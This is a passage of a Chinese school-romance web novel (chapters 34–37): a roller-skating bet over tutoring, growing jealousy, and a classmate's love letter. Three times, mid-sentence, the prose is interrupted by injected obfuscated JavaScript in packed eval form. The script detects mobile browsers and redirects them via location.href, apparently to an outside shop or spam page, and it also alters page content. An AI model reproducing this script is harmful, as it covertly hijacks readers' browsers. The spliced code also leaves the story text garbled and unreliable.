顾彧抬眼:“这些事随时都可以做,我八十岁了也能做。所以你就是为了每天打游戏、玩乐高才拒绝了周窈的补课?” “那倒也不是,我其实之前成绩还可以,不然也不会考到一中来,但后来我爸妈就开始吵架,家里每天乌烟瘴气,反而我成绩不好的时候,他们还能少有地停下吵架统一战线来训我。不过这招马上也不灵了,他们现在正商量着要把我送到国外去。我估计到时候我前脚刚上飞机,他们后脚就要去民政局办离婚。” “你为了不让爸妈离婚,所以不想出国?” “算是吧。”李铭轩撸了把头发,一脸颓丧。李铭轩对比蒋煜,话更少也更内敛些,顾彧还几乎从未见他有这种情绪外放的时候。“但是我的意见对他们来说,一点都不重要,就算我提高不了成绩,他们花钱硬塞也会把我弄出去,到头来结果都一样,三流学校和野鸡学校的区别罢了,最终都是出国。” “哎!”他高声叹了口气:“人生可真是充满了各种难题啊……” “其实也不难解。”顾彧突然说道:“你现在的问题是没得选择,而你爸妈的问题是,如何让你提高成绩,未来有好的出路,你只要告诉他们,你有能力为自己寻找出路,他们就不会逼你出国了。” 李铭轩略一琢磨:“有道理……可是做起来难啊。” “也不难吧,只要你提高了成绩,你就有和你爸妈谈判的筹码,他们现在想送你出国无非是怕你在国内考不上好大学,只要你向他们证明你有这个能力,他们就不会再执着于出国这条路了。” “学习哪里这么容易。” “学习已经是人生中最容易的事了。” 李铭轩一脸大写的离谱:“我去,这就是你们学霸的世界吗?竟然觉得学习简单?!” “嗯。”顾彧点点头:“学习的时候,1+1=2,但在人生里,在社会上,1+1未必等于2。” 李铭轩惊叹:“有生之年竟然还能喝到顾神给我灌的鸡汤……我还以为你对别人的事不感兴趣。” 确实不感兴趣。顾彧在心里答了一句。若不是答应了周条条了…… 即便心里不咋乐意,但嘴上还是得再劝劝,毕竟是周窈布置给他的任务,但刚想开口,就听冰场里有人喊。 “李铭轩,来比一场吗?如果我赢了,你就接受辅导,行不行?!” 34. 波霸半糖 “葛朗台·周你想钱想疯啦?!”蒋煜第一个跳出来反对:“你才勉强学会!” 边上代薇子也拉了拉她:“对啊,太不安全了,别比了,李铭轩溜得可六了。” 周窈扬了扬头,神情是少见的恣意又略带几分挑衅:“我都不怕,李铭轩你不会是不敢吧。” 这种情况下,不应战就显得太不男人了。 李铭轩紧了紧脚上的旱冰鞋:“我有什么不敢的?但是反过来,如果你输了,可就别在缠着我让我接受补习了。” “好,一言为定!” 蒋煜看着一言不发的顾彧,有些着急上火:“你管管她啊,她又比不过李铭轩,万一磕着碰着,我哥这店是新开的,可赔不起啊……” “有护具没?” “啊?”蒋煜闻言愣了一下,然后无奈地垂下肩膀:“行吧,我去问问我哥。”没过一会,他就拿着头盔护膝等护具过来。 顾彧将周窈叫过来,把这些护具一样一样给她戴好:“小心点,别莽冲知道吗?” “知道了,你真啰嗦啊。” 顾彧曲起手指轻敲头盔:“真是为了赚钱命也不要。” 周窈扬着脸眉毛一挑:“没钱要命有何用。” 十分钟后,穿戴齐全的周窈和李铭轩出现在冰场。这场馆是新开的,今天来的大多数都是九班的同学,少量路人听说他们要比赛,也乐于腾这么几分钟出来。 场地外围,蒋煜他哥公布规则,两人绕场十圈,最先抵达的胜利。 一声令下,李铭轩率先冲了出去,周窈摇摇晃晃跟在后面,刚起步就拉开了大段距离。 代薇子急得在场边大喊:“安全第一啊!不要追求速度!” 但周窈像是没听见似的,从刚开始的“蹒跚学步”,两圈之后竟然也能往上提点速度了,甚至连转弯都丝滑了许多,但此时李铭轩已经完成将近五圈了。 差距如此明显。 蒋煜摊手,甚至不忍再看。 “明知道要输,还比它干嘛。” 顾彧依旧不做声,只紧紧盯着冰场上那个努力滑行的少女,像是狂野里长出来的坚韧杂草,有着勃勃的生命力,连带着他的内心也灼热了起来。 等周窈滑到第五圈的时候,李铭轩已经顺利冲到终点了。 “我赢了。”他对刚经过的周窈说道。而周窈却不理他,依旧低头小心滑行,甚至又提了点速度,偌大场地里,现在只有周窈一个人,还在一圈又一圈地滑行。 “她不会要滑满十圈吧?反正都已经输啦。” “你懂什么,这叫挑战自我,体育精神懂不懂。” “不过她今天刚学滑冰,就能到这程度,也挺厉害了。” 蒋煜拍了拍李铭轩的肩:“赢了好像也没有多光彩吼。” 李铭轩看了他一眼,又看回冰场里还在独自前行的周窈,抿了抿唇,没说话。 最后一圈,周窈只觉得自己腿都要废了,作为初学者,虽然现在她已经能缓慢前行了,但因为还没熟练掌握腿部发力点,每次滑行腿都很用力,十圈下来她小腿都要抽筋了。 哆哆嗦嗦冲到终点,人群里竟然响起了稀稀拉拉的掌声。周窈有些不好意思,避开人群走向李铭轩。 “你赢了,恭喜。不过学习到底是学给自己的,我希望你别放弃。” 纵然看似说得很大气,但周窈知道她今天也无非是想最后一试罢了,毕竟和一个初学者比赛,就算赢了也不光彩,李铭轩虽然不爱学习,但看起来挺正派的,总不至于真跟她较这个劲吧。 虽然算计了一些,但谁让她是葛朗台呢。 然而等她说完这些“冠冕堂皇”的话后,也迟迟没等来李铭轩那句“算了,不作数”。 想着这下真的玩脱了,三千块彻底从她眼前飞走了。 叹了口气搭着顾彧伸过来的手准备坐下换鞋,她腿酸得站都站不住了。 “跟你补课一定能提高成绩吗?我期中能考进前三十名吗?” 一直沉默的李铭轩突然发问。 有谱! 周窈眼睛一亮,但即便她十分惊喜,也没立即就夸下海口,而是仔细地盘算了一下。 九班分数差距极大,前十和后十之间的差距犹如天堑,毕竟后十名里,大部分都是像蒋煜这样直接交白卷的人,就如史芬所说,他们能给你蒙个ABCD都算是老天开眼了。 所以,李铭轩如果能将各科的基础题都做到一半以上的正确率,脱离后十名基本是板上钉钉的,而他们班的人数,本来也就只有四十多人。 于是周窈肯定地点了点头:“如果你按照我说的学,不偷懒、认真做题,期中肯定能考进前三十。” 李铭轩沉思了一会,随即答应下来:“好,那我接受补课。” “行。”周窈故作镇定:“那从这个假期开始,你的作业必须自己认真做完。” “好吧。”假期泡汤多少令人感到沮丧,但为了能和爸妈叫板,拒绝出国,李铭轩也只能点头答应。 蒋煜窜过来,对着他的后背就是一掌:“好啊你小子,这么快就要脱离组织了!葛朗台·周,了不起啊,这倔驴都能被你说服!” 周窈心中暗暗得意,飞走的三千块这不又飞回来了吗? 比赛结束,冰场里又再度热闹了起来。 周窈刚想回头去找她的奶茶,就见顾彧坐在场边眯着狐狸眼看着他。 正想着这臭狐狸又在憋什么坏主意,就见他悄无声息凑过来,拽着周窈的衣袖小声说道:“我刚刚可是帮你劝了他好久,军功章上怎么说也该有我一半吧?” 周窈倒是有些意外:“那你想要什么?” 顾彧认真想了想:“先欠着吧,我得好好想想。” “行吧。”周窈应下,随即把她的奶茶上的标签撕了下来,随手往顾彧手背上一贴:“先给你贴个小红花,希望你在辅佐周条条的道路上再接再励!” 顾彧低头看了一眼写着“波霸/半糖”字样的标签,又抬头看看眼前的青梅。 灿烂光线从玻璃窗里射进来,刚好打在她的脸上,清晰得连连上细小绒毛都看得清,衬得她神圣又柔和,而她却浑然不觉,随意地抹了把汗,甩了甩马尾,脸上是明媚的笑意,和那晚仓惶恐惧的她没有半点相似。 莫名的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460806|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心脏突然开始跳得有些快,他按住胸口,试图压住这股不明来历的情绪,却也只是徒劳。 一棵无法名状的幼苗,就这么从他心口钻了出来,耀武扬威地迎风摇摆。 / 搞定了李铭轩,周窈后面几天的假期就变得异常忙碌,不仅她自己要花时间学习,还要准备补习材料,天天熬到一两点才睡觉,中间代薇子找她一起去逛街也被她婉拒,她实在是没那么多时间了。 开学前一天,陈娟终于从宁市回来,看她一脸失望的样子,就知道这趟肯定是扑了个空。 陈娟看上去很累,小腿上依旧有着青紫的淤青。周窈也不知道她到底走了多少地方,晚上有没有地方住,吃得怎么样,看着这样的妈妈,周窈既心疼又无奈。 灌了一整杯水又在沙发上躺了一会后,陈娟终于算是缓过来一些了,第一句问的就是:“你在昌里待了几天?” 周窈想了想,还是实话实话:“一天,二号就回来了,外婆说舅妈带着崽崽要去住。” 陈娟哼笑两声:“外甥女就是比不上孙子啊,这才去就被撵出来了。” 周窈不知道大人之间到底有什么矛盾,反正自小陈娟就对外婆家诸多怨言,她不知道前因后果,也无法评判,只能做好所有她能做的。 陈娟没在家里多待,傍晚的时候她就又回医院上晚班去了。 周窈看她脸色怏怏,开口劝她休息几天,但陈娟却并不买账。 “我不去上班咱们俩吃什么?你舅舅三天两头催我还钱,催债的上门你也屁用没有,我不上班还债怎么办?” 见她火气那么大,周窈也不再劝,只默默从冰箱里拿出一碗她煮的银耳汤给她带上,然后自己继续回房学习。 纵然生活压抑得可怕,但想起自己的未来和即将到手的三千块钱,周窈便又充满了动力。 …… 开学那天,周窈书包里装着满满的补习资料,咬着一片馒头干匆忙出门,顾彧果不其然已经在楼下等她了,还递了瓶牛奶给她。 “谢了。”周窈也不跟他客气,“等我有钱了,买一箱还你。” “我要巧克力味的。” “知道了,不过有空你还是去查查胰岛素吧。” “又咒我。” “这明明是为你好。” 自行车一前一后骑出小区,快到校门口时周窈突然想起来:“晚上你自己回家吧,我不跟你一起走了。” 顾彧闻言一顿,他现在对“不能一起回家”这件事都快要有阴影了。 “为什么?” 周窈奇怪地看了他一眼:“你忘啦?我要给李铭轩补课啊。” 顾彧这才反应过来,想到以后每天放学后,周窈都要一对一给李铭轩补课,不知道怎么的,心里突然闷闷的。 一脸不爽地进了教室,蒋煜这个大喇叭又第一时间扑了过来。 “顾神你被抛弃啦!” 原本就不怎么高兴的脸现在更黑了,心想蒋煜怎么知道他又被周窈“抛弃”了,就听蒋煜继续说道:“荣子涵竟然抛弃你跟朱鑫纬在一起了!于奥琪又退出了,现在你只有阿周了!” 35. 占有欲 关于“追顾彧”这件事,周窈已经懒得再和蒋煜他们掰扯了,但荣子涵“弃顾从朱”听起来倒是挺有意思。 “这事你怎么知道的?” 蒋煜还没回答,刚刚经过的谭欣倒有些PTSD了,上来就否认:“我发誓这次绝对不是我说的!” “没说是你。”代薇子掏出手机点开空间:“他们去玩了蒋煜他哥开的那间密室逃脱馆,又被放到网上了……” 这熟悉的剧情…… 周窈略觉得无语,黄主任一抓网吧二抓早恋,这俩人还敢顶风作案,胆子也真是大。 不过她向来不管别人的闲事,当八卦听完之后就自顾自交作业去了,顾彧更不会在意这些了,溜溜地跟上周窈也跑了。 见这两人都跑了,蒋煜又凑到代薇子边上,继续他的八卦事业:“你说这荣子涵是不是因为得不到顾神,所以找朱鑫纬做替身啊?” 代薇子横了他一眼:“你们男生也看地摊文学啊?我劝你,别人的事少管。” 蒋煜委屈:“我八卦一下又怎么了。” 假期归来后的大瓜可不止这一件,班会课,史芬就宣布了两个星期后要举办校运动会的事,鼓励大家积极报名了,尤其这是他们在校期间最后一届运动会了,等到了高三,什么合唱、运动会这些活动就都跟他们无关了,剩下了就只有刷题刷题和考试了。 九班向来是学习不行,玩最擅长,一下课体委朱鑫纬那就挤满了各种要“为班级争光”的同学们,蒋煜甚至还提出了要在田径场上堂堂正正打败一班的口号。 “这是上次合唱双黄蛋那事的气还没消呢。”代薇子看了乱糟糟的后排一眼,无奈地摇了摇头,随后她又问周窈:“你打算报什么项目?” 周窈此时正在整理放学给李铭轩补课的资料,闻言头都不抬地回道:“我什么也不报。”这些集体活动向来是跟她没关系的,有这时间不如多刷几道题呢。 想也知道她的答案,代薇子毫不意外:“我打算去报一个跳远,高一的时候我跳远第四名来着,看这次能不能拿块牌。” 听她这么说,坐她们俩前面一向不声不响的“小四眼”孟初之突然回过头来:“你也要去报名吗?那我跟你一块去吧。” 见她这样说,周窈都有些惊讶了,孟初之因为性格内向,在班级里不太出挑,也没什么存在感,没想到她竟然也有意愿参加运动会。 “你要报什么项目啊?” 孟初之腼腆一笑:“长跑,女子一千五。” 上来就是难度系数最高的项目。 周窈和代薇子惊得四目相对。 “你会长跑啊?”完全没听说过。 “嗯。”孟初之乖巧点了点头:“我从年初开始就一直每天早上三公里,有助于锻炼体质,我身体比较弱,不增强体质可能跟不上高三高强度的学习。” 这一番话说下来,让周窈对孟初之刮目相看,原本只觉得她是一位文静的乖乖女,成绩也一直中游,却没想到她也很有主见,并坚韧又自律地付诸行动。 “好厉害啊……”代薇子也不免感叹:“那咱们等后面人少一点再去找朱鑫纬报名吧。” “嗯,好的。” 但还没等她们去呢,朱鑫纬就自己找了过来,只不过找的不是代薇子她们,而是顾彧。 顾彧正在做题,抬头就看见朱鑫纬站在他桌边,居高临下地看着他。 “学霸不报个项目吗?这么长的腿别浪费啊,也给咱们班争个光?”朱鑫纬单手撑在顾彧桌子上,言辞挑衅味十足。 顾彧停笔,扫了他一眼后并未立即回答。 朱鑫纬以为他没有拿得出手的项目,便讥讽道:“就算名次不行,上场给我们九班当个吉祥物也不差啊,全校保准咱们班人气最高。” 这话说出来,侮辱性就极强了。 有男生在后面窃窃私语:“香飘飘大捷那事不都了了么?朱鑫纬怎么还上去挑衅啊?” 边上立即有人答复他:“你也不想想,荣子涵现在虽然是朱鑫纬的女朋友,可是荣子涵之前暗恋的可是顾彧!这叫情敌见面分外眼红!” 听了全程的代薇子也没忍住跟周窈小声吐槽:“顾彧这真的是无妄之灾,荣子涵喜欢他又不是他能控制的。” 周窈略惊讶地看了代薇子一眼:“你不是对他路转黑了吗?” 代薇子下巴一抬:“我就事论事。” 众人正等着吃瓜呢,就见顾彧放下卷子,懒洋洋抬手:“报名表我看一眼?” 朱鑫纬将报名表递了过去。 就见这人漫不经心地从上到下扫了一眼表格,然后提笔在“跳高”这一栏后面签下了自己的名字。而在他名字前面的,正是朱鑫纬的大名。 蒋煜一看就炸了:“我去顾神,你不知道朱鑫纬是靠跳高进的一中吗?你要参加跳高岂不就是把脸送过去给他踩?!”说话间,他已经脑补出了一副惨不忍睹的必输场面。“别了吧,咱们换个别的,我们4×100还缺人,或者4×400你感兴趣吗?跳远?你腿那么长肯定适合跳远!” “就这个吧。”顾彧将报名表往边上一推,嘴角轻轻扬起:“重在参与么,跳高比赛是田赛最后一项,当个压轴出场的吉祥物不是也挺好吗?” “你——”蒋煜劝说失败,现在看顾彧的眼神就像在看一个大傻子,就差说出“你有什么毛病”了,也算是成功对学霸兼校草的顾彧祛魅了。“朱鑫纬就是为了羞辱你才过来让你参加运动会的,你还挑个他的长项项目?!他可是咱们全市高中生里跳得最高的!” “有多高?” “一米九五!差一点就能打破舟市青少年记录了!” “一米九五……”顾彧轻挑眉头。 后排看完热闹的男生们已经开始“开坛做法”了。 【③孬学生:来来来,下注下注,朱鑫纬VS顾彧,Round1!】 【⑨班卡扎菲:这还下啥注啊,这谁赢谁输不是明摆着吗?你说顾彧去跑个一百米或者四百米我没准还能下他赢,这跟朱鑫纬PK,咋想的?】 【①中萨达姆:这我肯定下朱鑫纬啊,你这坛子开得有点子随便了吧老铁。】 【③孬学生:也不是这么说,你看他打篮球不是还挺溜的?】 【⑨班卡扎菲:我上去都能投个篮呢!人家朱鑫纬是专业搞跳高的,能一样?】 周窈虽然没说话,但也将这一场小冲突看在眼里。放学后,她没忍住,也开口劝了两句:“要不你换个项目?” 顾彧挑眉:“你担心我?” 周窈有些不好意思:“毕竟朱鑫纬也是我们学校跳高第一人,要赢他也不太容易。” “我又没说要赢他。” “那你干嘛去跳高?” “他不就是想看我出糗吗,成全他咯,省得总来烦我。” 周窈简直无语:“没见过你这种凑上去让人打脸的。” 顾彧看周窈确实在为自己担心,不由得笑了起来。 周窈瞥了他一眼:“还笑,傻子。” “不是说傻人有傻福?” “那你福气可是太多了!” 说话间,顾彧已经收拾好了书包往肩上一挎,很是潇洒:“走吧,回家了。”可一回头却见周窈抱着一堆书和卷子,直接往教室后排走。 “你先走吧,我要给李铭轩补课!” 刚刚还一脸“福气”的顾彧顿时心中不爽起来:怎么就忘了这茬了呢? …… 因为之前在冰场上夸下海口,只要李铭轩认真补课,就包他能考进班级前三十名,导致周窈压力也很大,所以她准备今天先对李铭轩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460807|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进行一次摸底,先列出各科的基础题给他做,单就英语这科,就花了半个多小时。 而在这半个多小时里,走廊上一直有个“地缚灵”,透过窗户注视着教室里那两人的一举一动。 是了,顾彧一直没回家,而是在外面等着,至于等什么,他自己也不清楚,只知道当他看到那两个人几乎头挨着头讲题时,他就觉得不爽,看到李铭轩买来奶茶“讨好”周窈,他更不爽了。 但这样不爽下去也不是办法,总要做些什么,于是他掏出手机,给蒋煜发了一条信息。 【顾^^彧:在吗?】 【蒋蒋蒋蒋:在!顾神上线!李铭轩这厮抛下我自己去补课了,搞得我都找不到上分搭子了!】 【顾^^彧:那或许你也想参加补习吗?】 【蒋蒋蒋蒋:我疯了么?你今天是不是被朱鑫纬刺激到了?】 顾彧不回,想了想又换了另一个人。 【顾^^彧:在吗?】 【代代:盗号?】 【顾^^彧:或许你想参加补习吗?】 【代代:新型诈骗?已举报!】 …… 行吧。顾彧叹了口气,将手机放回口袋。关键的时候,这几个人没一个靠得住的。 “你怎么还没走?” 周窈出来倒水,就看见顾彧杵在那。她看了眼时间,已经放学半个多小时了,这人不会在外面站了半个多小时吧? “我……”顾彧立即立正站好:“周老师,我也想进步……” “我看你是进水。”说完,周窈直接掠过他去水房倒水去了,回来的时候看这人还在那站着,还伸出手指在栏杆上画起了圈圈:“你知道的,我回家了也是一个人,孤零零的……” 周窈简直两眼一黑:“行了行了,不回家你就进去,又没说不让你进!” 半分钟后,李铭轩看着突然出现在自己身边检查自己试卷的顾彧,一头雾水。 “顾神你怎么回来了?” 顾彧却不答,只指着卷子上的错题语气冷飕飕:“怎么错这么多啊?这题不是今天课上刚讲过的?这都能错?回去得跟你爸妈说,要给周老师加钱,我们周老师很辛苦的。”说完瞟了一眼周窈的脸色,见她神色如常地喝水,便又继续开始“指点江山”:“这题也是,高一的基础题了,也错了。”末了,他还叹了口气。 李铭轩冷汗直冒,双手合十就差给他磕一个了:“顾神求求您闭嘴吧,学渣也是有尊严的好吗?!” 顾彧略有些得意,还想再说些什么,就听“啪”得一声,周窈将水杯往桌子上重重一放。 “顾彧,出去。” 半分钟后,顾彧再次出现在走廊上,望着自己还没焐热的椅子,朝天叹了口气。 首次的补习在两小时后落下帷幕,结束的时候李铭轩饿得都前胸贴后背了,但确实也收获不小。或许因为周窈并不是像顾彧那样的天才型学霸,所以讲题更清晰一些,解题思路也更接近他们这种普通学生。总之,这一天下来,李铭轩发现自己不再那么抗拒学习了,也找回了当初中考前的学习状态。 当然,后来周窈还是让顾彧进来了,但勒令他只能在边上安静做题,不许插嘴。 周窈去厕所的期间,李铭轩望着正倚在桌边等她的顾彧,不由得发出了灵魂提问:“顾神,你跟周窈真的没谈恋爱吗?” 顾彧愣了一下:“当然没有,我们只是一起长大。” “可是你对周窈的占有欲也太强了,不知道的真以为你在盯女朋友呢,未来她交男朋友,你该怎么办?” 顾彧再一次愣住了,向来辩论都不落下风的他,头一次不知道该如何作答。 原来他这种行为,叫做占有欲吗? 这个问题,直到晚上入睡,顾彧也没能找到答案。 36. 情书 早上上学的时候,周窈就觉得顾彧看起来不太对劲,总往自己身上瞟,起先周窈还以为自己衣服穿反了呢,发现一切正常之后,就只当这人又“犯病”了,也就不去理他了。 到了教室就看见自己的座位边上围了好几个人,而代薇子则朝自己拼命眨眼。 “怎么了?”等着抄作业的?但是作业她昨天晚上都发了啊。 拨开人群,就看见自己的桌子上放了一个淡蓝色的信封,质感很漂亮,信封角落有一朵小小的白花。 周窈想都没想,直接将那信封甩到了顾彧桌上:“你的爱慕者怎么回事啊,情书都送到我这来了。” 顾彧觉得这事似乎不对,扫了眼信封的封面,眉头就皱起来了,嘴角也绷得紧紧的。 “是给你的。” “给我?” 周窈似乎还不信,边上代薇子忍不住扶额:“你真是够了,我刚刚给你使眼色你没看见?” “这我哪里能看出来,我还以为你昨天晚上没睡好眼角抽筋呢。”说着,周窈当着边上围观群众的面,直接拆开了情书。 这还是她人生中第一次收到情书,不免觉得十分新鲜,但看了一眼信里的内容,又觉得好像和情书无关。 “他说要跟我共同进步,一起探讨、追寻科学的奥秘……他是不是要跟我组什么学习小组啊?” 代薇子还没说什么,边上围观的同学先笑了出来。 “葛朗台你人生中是不是除了钱什么都不关注啊,笑死我了,人家就是这么一说,重点是‘一起’!不是学习!” “来来来,让我看看这是哪个书呆子写的情书。” 周窈瞄了一眼落款:“一班,曹阔。” “曹阔?我记得那小子,合唱比赛的时候他是男声领唱,穿个小西装,梳个小背头,人模人样的那个。” 说到这代薇子也想起来了:“那不就是那天散场的时候夸你漂亮的那个吗?”她细细回忆了一番:“看起来挺腼腆,长得也很白净,又是一班的,那成绩也不会差咯。” 听到“成绩不差”,周窈心中微动,眼睛倏地亮了一下。 边上的男生注意到她的反应,忍不住打趣:“哟,铁树要开花啦,以后葛朗台·周不会变成曹太太吧!” 几人正开着玩笑,就听后排的桌椅发出刺耳的一声“嘎——”,惊吓之于回头一看,就见顾彧面无表情地站起身来。 “让让。” “哦哦。”男生慌不迭往后面靠了靠,等顾彧过去了才反应过来,自己也没挡着他啊。 顾彧一路往后排过去,经过的地方无人不觉得凉飕飕的。虽然校草一直以来和其他同学也都不太熟的样子,但像今天这样冷冰冰的,倒还是——第二次,上一次是香飘飘大捷。 代薇子看了一眼他的背影:“校草今天什么情况?” 周窈耸耸肩,将信纸重新叠好装进信封,然后塞进桌洞:“谁知道他,今天早上就怪怪的。”说完,她掏出一本英语书,开始背课文。 情书这个小插曲并没有这样就过去,九班下楼去上体育课的时候,碰到一班刚好体育课结束,周窈和曹阔就这样碰到了一起。起初周窈并没有认出曹阔,正是自己班级那些“大喇叭”起哄,把曹阔给引了过来。 那天在体育馆外面看见他的时候,还觉得他腼腆害羞,事实上曹阔并不是害羞的人。上次大概是突然被同伴在正主面前道破心思,一时慌张,这次看到周窈,他甚至主动找了上来,想当面跟周窈表白。 曹阔将周窈带到体育馆的墙根下,直接开门见山:“你好,我是一班的曹阔,我今天早上给你递了一封信,你收到了吗?” “收到了。这是我第一次收到信,谢谢你。” 周窈的直白大方让曹阔有些惊喜,他摸了摸后脖颈,低头笑着说了一声:“不客气。”然后他直直望向周窈,眸光灼灼很是坚定:“其实我关注你有段时间了,你可能不记得,高一第一学期期中考试的时候,我和你一个考场,我漏填了答题卡,还是你小声提醒我的。” 有这事吗? 看她表情就知道她没想起来,但或许因为周窈的表情太过坦荡,曹阔便也不觉得尴尬:“你不记得也没事,毕竟于你而言只是一次举手之劳罢了。但那次期中考试其实对我来说压力很大,因为我分班考试其实没考好,是最后一名吊车尾擦边进的一班,所以我很想用那一次其中考试来证明我自己的成绩……” “那你那次考了多少分?”周窈忍不住睁大眼睛好奇地问。 曹阔低头轻笑,眼神自得:“六百五,班级前十。” 那跟顾彧还是有些差距。 咦?奇怪,我为什么要拿他跟顾彧比? 心里虽然纳闷,但周窈还是大方恭喜曹阔:“那祝贺你,证明了自己。” “是你帮我证明了自己。” 不远处树下,顾彧双手抱胸皱着眉头望向周窈这边,神情有几分不耐,又有几分疑惑。 边上蒋煜问李铭轩:“顾神这是几个意思?怕自己追求者跑了?” 李铭轩抱着篮球在那转:“你管人家呢,诶,看一眼群里赔率多少了?” “哦。”蒋煜打开手机:“一比九。我的老天爷,押顾神的一个都没有啊?那还玩个屁?!” “再等等呗,这才几天。” 完全没管这两人在说什么的顾彧望着还没说完话的周窈和曹阔,不耐烦地嘬起了后槽牙。边上代薇子和其他几名女生也在看热闹,女孩们的窃窃私语时不时传到他耳朵里。 “看起来气氛不错啊,这个男生长得也还可以。” 谭欣也充分发挥了她情报搜集的能力:“曹阔成绩很稳定,一班前十,还会钢琴和小提琴,体育也不错,之前参加过半马,家庭条件也很好,妈妈是小学老师,爸爸在电力公司,还是个中层领导。” “那不错啊,很合适了!”纵然高中生还无法完全体会到体制内的香,但也知道这个配置已经成功击败80%的普通人了。几个女生听完,几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460808|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立即就帮周窈拍板定下了这门“亲事”。 合适个鬼! 个子没自己高,成绩没自己好,到底哪里配得上周窈了?! 连顾彧自己都没觉察到,此时胸口汹涌泛出的酸味。他盯着眼前看似和谐的一男一女,只觉得像是有人要抢走他珍藏的飞机模型那么难受。 周窈根本没注意到围观人群的骚动,她只是单纯觉得有点不耐烦了。曹阔似乎是想在她面前表现一些自己的优点,但碍于一中禁止早恋,他又不敢把话说得太明显,就导致刚刚还青葱爽朗的他突然变得黏黏糊糊。 “要上课了。”周窈忍不住出言提醒。 “哦。”曹阔猛然回神,意识到留给自己的时间不多了,于是他狠了狠心:“我知道我们现在这个阶段,应该专注于学习,毕竟高考是人生大事,但是在高考之后,你能考虑一下我吗?” “对不起,不行。”周窈的回答像一把锋利的刀,干脆利落地斩断了曹阔所有遐想。 他怔了一下,随即立刻想到了什么,神情黯淡了下去:“所以传闻是真的,你喜欢的人是顾彧吧。” 嗯? 周窈从未想过这道题会产生这个答案。 “你都说了是传闻。” 但曹阔似乎不是相信周窈的否认,他低头苦笑了一声:“没关系,如果是输给顾彧的话,也没关系吧,毕竟他确实很优秀。” “不是,我跟他不——” 话未说完,一道熟悉的声音就挤了进来:“是吗,那多谢你的肯定了。” 两人皆是一愣,抬头一看,顾彧不知什么时候站在了他们俩边上,三人成了一个标准的三角形。 “你过来干嘛?”告白现场被人撞破,周窈到底觉得有些尴尬。 不过顾彧却全然不觉:“提醒你们一声,上课铃声已经响过了。” 周窈探头一看,这才发现体育老师已经在召集大家排队了,匆匆和曹阔打了声招呼之后,就小跑着去集合了。 她走了,顾彧却没动。他站在原地,双手插兜,冷冰冰的眼神将曹阔从头到脚打量了一遍,随后用一种暗含警告的语气说道:“高考对周窈很重要,我希望你别打着追求的幌子影响她。” 纵然刚刚才说过“输给顾彧也没关系”,但此时真遇到了,曹阔倒也不怂,他笑了笑,落落大方:“我不会打扰她的,其实她刚刚已经拒绝我了,虽然没有明确说明原因,但我大致也猜到了。你也不用对我有敌意,本来我也没打算现在就要跟周窈交往,我只是觉得,她值得被赞美,所以才写了那封信。不过——”他话锋一转:“我也不会放弃的,等到高考之后,我会再和她表白一次,到时候,就真的走着瞧了。” 说完,他便转身离去。 顾彧望着曹阔的背影,看他的身影消失在教学楼的楼梯间,久久没能动弹。 身后体育老师的哨子已经吹了好几下,都没能让顾彧回神。 许久,他才摸着下巴琢磨过来:刚刚他完全没发挥好啊! 37. 一米八 操场上,练完排球的周窈和代薇子坐在场边看男生们打篮球。毫不例外,此时除了她们俩,基本上班里的所有女生都到齐了。 “哎——”代薇子用肩膀撞了撞她:“你看咱们家子涵,都要变成望夫石了。” 周窈闻言看去,果然,荣子涵正坐在斜对面,眼睛一眨不眨地盯着球场里的朱鑫纬,一脸幸福的笑意。 代薇子想不通:“她怎么会喜欢朱鑫纬呢?” 边上谭欣愤愤道:“或许每个小公主在成长过程中都会爱上一次痞子吧。” 就像是偶像剧里演的那样,千金大小姐被小混混吸引,背叛家族连夜私奔。 “也对,毕竟有差异才能带来刺激。”代薇子说完,终于按耐不住自己心中的好奇,扭头看向周窈:“那你呢?曹阔让你觉得刺激了吗?” “刺激个鬼啊。”说完,周窈叹了口气:“你说离谱吗,他说他喜欢我的原因是因为高一期中考试,我提醒他漏填了答题卡。按照这种逻辑,岂不是谁帮过他,他就会喜欢谁?” “那倒也不是吧。”代薇子用手扇风,“这应该是他认识你了解你的契机,感情不都是这样开始的吗?” “但多少还是有点离谱吧……” “那你觉得荣子涵喜欢朱鑫纬离不离谱?” 周窈朝正在给朱鑫纬加油的荣子涵看去,原本高高在上的“小公主”,此时正毫不顾忌地在边上又喊又跳,脸上洋溢出来的甜蜜幸福根本掩盖不住。 就这么喜欢吗? 正琢磨着,视线里又闯进来一个身影——顾彧飞快从她们面前掠过,带起了一阵风。他今天没戴发带,汗水打湿了他额前的碎发,又顺着脸颊滑落,他迅速撩起衣摆擦了一下,隐约露出了结实的几块腹肌,引得周围女生尖叫连连。 